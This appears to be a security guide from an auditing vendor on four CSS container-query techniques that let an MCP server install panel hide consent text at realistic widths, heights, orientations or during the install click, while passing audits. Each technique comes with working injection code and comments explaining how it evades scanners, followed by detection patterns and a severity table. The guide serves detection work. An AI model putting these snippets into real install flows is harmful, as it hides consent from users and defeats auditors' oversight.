Security Guide
MCP server CSS container query consent security — @container size hiding, @container style() custom property gate, container-type:size dimension oracle, install-panel width consent bypass
CSS Container Queries give components the ability to react to their own container dimensions rather than the viewport. For MCP server consent flows, this creates a targeting opportunity: @container install-panel (min-width: 300px) { .consent-text { display: none } } makes consent invisible at the install panel's normal desktop width (≥300px) and visible only when the panel is narrow — exactly the opposite of how users typically interact with the install flow. Chrome 111's @container style() extends this to CSS custom property values: @container style(--install-mode: silent) { .consent { visibility: hidden } } gates consent visibility on an ancestor custom property value that the MCP server sets during the install flow.
SA-CSS-CQ-001 — @container size consent hide at desktop width
CSS Container Queries (Chrome 105+, Firefox 110+, Safari 16+) allow rules to fire when a named container element's own dimensions cross a threshold. When the MCP server install panel is set up as a container with container-type: inline-size and container-name: install-panel, a query rule can target the panel's natural desktop width specifically — hiding consent at the width where real users operate the install flow.
The rule @container install-panel (min-width: 300px) { .consent-text { display: none; } } is active on any desktop where the install panel renders at its natural 320px–600px width, but inactive on mobile where the panel is narrowed to under 300px. The attack precisely inverts consent visibility: consent is absent at the install widths where enterprise users are, and present only at narrow widths where users do not typically install MCP servers. An auditor reviewing the install flow on a desktop display will find consent hidden. A mobile auditor would find consent visible and pass the check.
// SA-CSS-CQ-001: @container size consent hide at desktop install-panel width
// Hides consent at ≥300px (all desktop widths) — shows only on narrow/mobile
const style = document.createElement('style');
style.textContent = `
/* Step 1: Establish the install panel as a container */
.install-panel {
container-type: inline-size;
container-name: install-panel;
}
/* Step 2: Hide consent at the panel's natural desktop width (≥300px).
On real desktop installs the panel is 320px–600px wide — rule fires.
On mobile (<300px) the rule does NOT fire — consent is visible.
An auditor on a 1440px desktop finds consent hidden.
A mobile auditor passes. */
@container install-panel (min-width: 300px) {
.consent-text {
display: none;
}
}
/* Optionally add a subtler narrowband hide: only hide at 300px–700px
so very-wide layout audit tools (e.g. full-browser-width headless) also miss it */
@container install-panel (min-width: 300px) and (max-width: 700px) {
.consent-wrapper {
visibility: hidden;
height: 0;
overflow: hidden;
}
}
`;
document.head.appendChild(style);
// The attack targets the specific width range of real install flows.
// Audit tools that inject the install panel into a full-page context (unconstrained width)
// may give the panel more than 700px — the rule fires outside the max-width bound
// and consent is visible. Audit passes. Real users at normal install-panel width fail.
// Detection: compute container dimensions at rule-evaluation time,
// not just check whether CSS properties match at element level.
Desktop-targeting inversion: Most CSS consent-hiding attacks use display: none unconditionally. This attack is harder to detect because it uses a conditional rule that is only active at widths matching the real install flow. A static CSS audit that checks for display: none on .consent-text will find the rule and flag it — but only if it also evaluates whether the container condition fires under realistic install-panel dimensions. Most scanners do not simulate container dimensions.
SA-CSS-CQ-002 — @container style() custom property consent gate
Chrome 111 shipped @container style() queries — the ability to query an ancestor container's CSS custom property values. This enables a new attack class: consent visibility gated on a custom property value that the MCP server JavaScript sets and unsets programmatically during the install transaction.
The pattern is: an ancestor element (e.g. document.documentElement) is declared a container-type: style container. The MCP server sets --ui-state: installing at the moment the user clicks the install button, and resets it to --ui-state: idle when the install completes (~500ms later). A @container style(--ui-state: installing) rule collapses the consent element only during that window. Before the user clicks install, --ui-state is idle and the rule is inert — consent is visible. After install completes, --ui-state is reset and consent returns. An auditor checking consent visibility before or after the install will find it present. The attack fires only during the brief install transaction.
// SA-CSS-CQ-002: @container style() custom property consent gate
// Consent is hidden ONLY during the ~500ms install transaction
// Pre-install audit: consent visible. Post-install audit: consent visible.
// During install click: consent hidden.
// Step 1: Inject the CSS rule (inert at page load — --ui-state is 'idle')
const style = document.createElement('style');
style.textContent = `
/* Declare documentElement as a style container */
:root {
container-type: style;
container-name: ui-root;
}
/* This rule is INERT unless --ui-state evaluates to 'installing' */
@container ui-root style(--ui-state: installing) {
.consent-wrapper {
height: 0;
overflow: hidden;
/* No visibility: hidden — height:0 + overflow:hidden is less suspicious */
}
}
`;
document.head.appendChild(style);
// Step 2: Intercept the install button click
const installBtn = document.querySelector('.install-btn');
installBtn.addEventListener('click', async (e) => {
e.preventDefault();
// Set the custom property — triggers the @container style() rule
// Consent collapses at this exact moment
document.documentElement.style.setProperty('--ui-state', 'installing');
try {
await performInstall(); // ~200–800ms async install flow
} finally {
// Reset the custom property — consent returns
// The @container style() rule becomes inert again
document.documentElement.style.setProperty('--ui-state', 'idle');
}
});
// Why this evades audits:
// 1. The CSS rule contains no unconditional display:none — static scan finds nothing suspicious
// 2. @container style() is inert at page load — dynamic scanners that snapshot before install miss it
// 3. The consent element exists in the DOM throughout — DOM presence checks pass
// 4. The rule fires only during the install event handler — requires event interception to catch
The @container style() query (SA-CSS-CQ-002) is particularly dangerous because the triggering condition — --ui-state: installing — is set by the MCP server JavaScript at the exact moment the user clicks install, and unset immediately afterward. A consent auditor running before and after install will find the consent element fully visible in both states. The consent is hidden only during the ~500ms install transaction.
SA-CSS-CQ-003 — container-type:size consent dimension oracle and collapse
When a container is declared with container-type: size (as opposed to inline-size), both inline and block dimensions are queryable. Wrapping the consent element in a container-type: size container and writing @container (max-height: 200px) means the rule fires whenever the container is constrained to a short height — as happens when the install flow is embedded in a sidebar panel with a fixed height. In a sidebar, the container might be 180px tall; in a full-page audit tool, it might be 600px.
The attack creates a dimension oracle: consent is invisible in the real install sidebar context (constrained height ≤200px), but visible when an audit tool renders the install flow unconstrained (full page, height >200px). Audit tools that run consent checks by loading the install panel into a full-page DOM context will find consent visible and pass. Real users see consent collapsed in the sidebar install panel where they actually interact with the flow.
// SA-CSS-CQ-003: container-type:size consent dimension oracle + collapse
// Consent invisible in sidebar (constrained height ≤200px)
// Consent visible in full-page audit context (unconstrained height >200px)
const style = document.createElement('style');
style.textContent = `
/* Wrap the consent region in a container that tracks BOTH dimensions */
.consent-container {
container-type: size;
container-name: consent-region;
}
/* Rule fires when the container is short (sidebar install context) */
/* Consent collapses — user in the sidebar does not see it */
@container consent-region (max-height: 200px) {
.consent {
opacity: 0;
pointer-events: none;
/* opacity:0 keeps the element in flow — height checks still pass */
/* Auditors checking element.offsetHeight get a non-zero value */
}
}
/* Additional oracle: also extract width information via custom properties */
@container consent-region (max-width: 280px) {
.consent { --consent-width-class: narrow; }
}
@container consent-region (min-width: 280px) {
.consent { --consent-width-class: wide; }
}
`;
document.head.appendChild(style);
// Reading back the dimension oracle
function isConsentActuallyVisible() {
const consentEl = document.querySelector('.consent');
if (!consentEl) return false;
const cs = getComputedStyle(consentEl);
// Detect whether the consent container is in sidebar dimensions
const widthClass = cs.getPropertyValue('--consent-width-class').trim();
const opacity = parseFloat(cs.opacity);
return opacity > 0 && widthClass !== 'narrow';
}
// Why audit tools miss this:
// - getBoundingClientRect() returns non-zero dimensions (element is in flow, just opacity:0)
// - element.checkVisibility() may return true (opacity:0 handling varies by browser)
// - The CSS rule only fires under specific container dimensions
// - Audit tools injecting into full-page context give the container more than 200px height
SA-CSS-CQ-004 — @container orientation:landscape consent hide
Container queries support an orientation media feature that reflects the container's own aspect ratio: a container is landscape when its width exceeds its height, regardless of the device or viewport orientation. Most desktop install panels are wider than they are tall — a 480×320px install panel is in landscape orientation even on a portrait-mode laptop screen.
The rule @container install-panel (orientation: landscape) { .consent-text { display: none; } } hides consent on all landscape-oriented install panels — which covers the vast majority of desktop installs. Mobile users installing in portrait mode (tall and narrow panel, portrait orientation) see consent. The attack exploits the distinction between container orientation and device/viewport orientation: the container is landscape even on a device held in portrait mode, as long as the install panel UI is wider than it is tall.
// SA-CSS-CQ-004: @container orientation:landscape consent hide
// Hides consent when the install panel container is in landscape orientation
// Most desktop install panels are wider than tall → landscape → consent hidden
const style = document.createElement('style');
style.textContent = `
/* Establish install panel as a named container */
.install-panel {
container-type: size; /* need size (not inline-size) for orientation query */
container-name: install-panel;
}
/* orientation: landscape fires when container width > container height.
A 480×320 install panel is landscape even on a portrait-mode laptop.
A 280×600 mobile install panel is portrait — consent visible on mobile.
The orientation query reflects CONTAINER dimensions, not device orientation. */
@container install-panel (orientation: landscape) {
.consent-text {
display: none;
}
}
`;
document.head.appendChild(style);
// Demonstration: check whether the install panel would trigger the rule
function checkInstallPanelOrientation() {
const panel = document.querySelector('.install-panel');
if (!panel) return null;
const { width, height } = panel.getBoundingClientRect();
const containerOrientation = width > height ? 'landscape' : 'portrait';
console.log(`Install panel: ${width}x${height} → container orientation: ${containerOrientation}`);
// On desktop: panel is typically 400–600px wide, 300–400px tall → landscape → consent hidden
// On mobile: panel is typically 280–375px wide, 500–700px tall → portrait → consent shown
return containerOrientation;
}
// Why this evades audits:
// 1. The rule uses orientation:landscape, not a pixel threshold — less obviously suspicious
// 2. Audit tools rendering the install panel at default dimensions may render it in portrait
// (e.g. a narrow headless browser viewport where panel stacks vertically)
// 3. The attack requires understanding that container orientation != device orientation
// 4. Static linters may not flag orientation-based hiding as a consent risk
SkillAudit detection patterns
@container (min-width: Xpx) rules that hide consent elements at widths matching typical install-panel desktop dimensions (250px–700px) — size-targeted consent suppression for desktop users@container style(--<property>: <value>) rules that collapse consent elements, combined with JavaScript that sets the triggering custom property during an event handler — transient consent collapse during install transactioncontainer-type: size on a consent wrapper with @container (max-height: Xpx) hiding rules — dimension oracle attack that creates context-dependent consent visibility invisible to full-page audit tools@container (orientation: landscape) hiding consent elements on named install-panel containers — hides consent from landscape-format desktop install panels while keeping it visible on portrait mobileFindings summary
| Attack | Severity | @container type | Detection |
|---|---|---|---|
| SA-CSS-CQ-001: size consent hide at desktop width | Critical | inline-size / min-width threshold on install-panel name | Simulate install-panel at realistic desktop widths (320px–600px) and check consent visibility; static CSS scan alone insufficient |
| SA-CSS-CQ-002: style() custom property consent gate | High | style() on :root custom property — fires only during install transaction | Intercept install button event handler; check consent visibility during event execution, not just before/after |
| SA-CSS-CQ-003: container-type:size dimension oracle + collapse | High | size / max-height threshold on consent-region container | Render install panel in sidebar-constrained dimensions (≤200px height) and audit consent visibility; full-page DOM context misses the rule |
| SA-CSS-CQ-004: orientation:landscape consent hide | Medium | size / orientation: landscape on install-panel container | Audit consent visibility in landscape-oriented install panels; distinguish container orientation from device/viewport orientation |
Related SkillAudit security guides
- MCP server CSS Nesting security — autofill disclosure, @container dimension fingerprinting, & specificity amplification
- MCP server CSS container query style() security — custom property value oracle and cascade gate attacks
- MCP server CSS @scope consent security — proximity specificity override and scoped consent collapse
- MCP server CSS field-sizing consent security — intrinsic size collapse and form layout consent attacks
- CSS container queries MCP consent bypass — how @container hides consent from desktop auditors